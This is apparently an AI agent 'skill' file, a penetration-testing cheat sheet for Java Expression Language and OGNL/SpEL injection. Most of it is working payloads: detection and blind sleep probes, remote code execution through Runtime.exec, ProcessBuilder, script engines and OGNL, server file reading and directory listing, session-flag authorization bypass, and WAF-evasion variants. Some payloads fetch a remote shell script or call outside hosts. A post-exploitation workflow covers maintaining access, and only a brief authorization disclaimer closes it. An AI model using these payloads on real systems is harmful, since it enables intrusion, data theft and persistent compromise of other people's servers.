EL Injection Exploitation
Expression Language (EL) injection is a critical vulnerability in Java applications that allows attackers to execute arbitrary code by injecting malicious expressions into template engines.
When to Use This Skill
- Testing Java web applications for EL injection vulnerabilities
- Analyzing JSP, JSF, or Spring-based applications
- Exploiting template injection in Java environments
- Bypassing WAFs for EL injection payloads
- Conducting authorized penetration testing on Java applications
Detection Methods
1. Basic Detection Payloads
Test for EL injection with these payloads:
# String operation test
${"zkz".toString().replace("k", "x")}
# Expected: zxz (if vulnerable)
# Simple math evaluation
${7*7}
# Expected: 49
# Class access test
${"".getClass()}
# Expected: class java.lang.String
2. Blind Detection (Time-Based)
# Sleep for 10 seconds
${"".getClass().forName("java.lang.Thread").sleep(10000)}
# OGNL sleep variant
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#kzxs=@java.lang.Thread@sleep(10000),1?#xx:#request.toString}
3. Burp Detection Pattern
# Inject in parameter value
gk6q${"zkz".toString().replace("k", "x")}doap2
# If response shows "gk6qzxzdoap2", injection is confirmed
Exploitation Payloads
Basic Operations
# String manipulation
${"a".toString()}
${"dfd".replace("d","x")}
# Class access
${"".getClass()}
${"".getClass().forName("java.util.Date")}
# List class methods
${"".getClass().forName("java.util.Date").getMethods()[0].toString()}
Remote Code Execution (RCE)
Method 1: Runtime.exec()
# Basic RCE
${"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
# With command output capture
${"".getClass().forName("java.lang.Runtime").getRuntime().exec("whoami")}
Method 2: ProcessBuilder
# ProcessBuilder RCE
${"".class.forName("java.lang.ProcessBuilder").getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY>).start()}
# Full ProcessBuilder example
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
Method 3: ScriptEngineManager
# JavaScript engine RCE
${"a".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); x.start()")}
# Alternative with facesContext
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var x=new java.lang.ProcessBuilder;x.command(\"wget\",\"http://x.x.x.x/1.sh\");")}
Method 4: OGNL-based RCE
# Linux RCE via OGNL
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=@java.lang.Runtime@getRuntime(),#ssss=new java.lang.String[3],#ssss[0]="/bin/sh",#ssss[1]="-c",#ssss[2]=#parameters.INJPARAM[0],#wwww.exec(#ssss),1?#xx:#request.toString}
# Windows RCE via OGNL
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=@java.lang.Runtime@getRuntime(),#ssss=new java.lang.String[3],#ssss[0]="cmd",#ssss[1]="/C",#ssss[2]=#parameters.INJPARAM[0],#wwww.exec(#ssss),1?#xx:#request.toString}
File Operations
Remote File Inclusion
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=new java.io.File(#parameters.INJPARAM[0]),#pppp=new java.io.FileInputStream(#wwww),#qqqq=new java.lang.Long(#wwww.length()),#tttt=new byte[#qqqq.intValue()],#llll=#pppp.read(#tttt),#pppp.close(),#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kzxs.print(new java.lang.String(#tttt)),#kzxs.close(),1?#xx:#request.toString}
Directory Listing
${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#wwww=new java.io.File(#parameters.INJPARAM[0]),#pppp=#wwww.listFiles(),#qqqq=@java.util.Arrays@toString(#pppp),#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#kzxs.print(#qqqq),#kzxs.close(),1?#xx:#request.toString}
Environment Inspection
# Access application scope
${applicationScope.toString()}
# Access request scope
${requestScope.toString()}
# Access session scope
${sessionScope.toString()}
# Access init parameters
${initParam.toString()}
# Access HTTP parameters
${param.X} # Replace X with parameter name
# Access custom variables
${user}
${password}
${employee.FirstName}
Authorization Bypass
# Set admin flag in session
${pageContext.request.getSession().setAttribute("admin", true)}
# Alternative session manipulation
${session.setAttribute("admin", true)}
WAF Bypass Techniques
1. Character Encoding
# URL encoding
${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS}
# HTML entities
${$"".getClass()}
2. Alternative Syntax
# Bypass getClass restriction
#{""["class"]}
#{""["class"].forName("java.lang.Runtime")}
# Using session storage
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
3. Spring Expression Language (SpEL) Variants
# T() function for static method calls
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
# StreamUtils for output capture
T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())
# Environment variable access
T(java.lang.System).getenv()[0]
Testing Workflow
Step 1: Identify Potential Injection Points
Look for:
.jspor.jsffile extensions- "Servlet" in response headers
- Stack traces mentioning EL or template engines
- User input reflected in responses
- Parameters that might be evaluated as expressions
Step 2: Run Detection Tests
- Start with basic payloads to confirm vulnerability
- Test blind detection if no output is visible
- Verify the EL version and available features
Step 3: Escalate to RCE
- Use Runtime.exec() for basic command execution
- Try ProcessBuilder for more complex commands
- Use ScriptEngineManager for JavaScript-based payloads
- Capture output using IOUtils or StreamUtils
Step 4: Post-Exploitation
- Inspect environment variables and scopes
- Access sensitive data from session/request
- Bypass authorization if needed
- Maintain access through file operations
Safety and Legal Considerations
⚠️ IMPORTANT: Only use these techniques on systems you have explicit authorization to test. Unauthorized exploitation of vulnerabilities is illegal.
- Always obtain written permission before testing
- Document all findings for the client
- Use these payloads in controlled environments
- Report vulnerabilities responsibly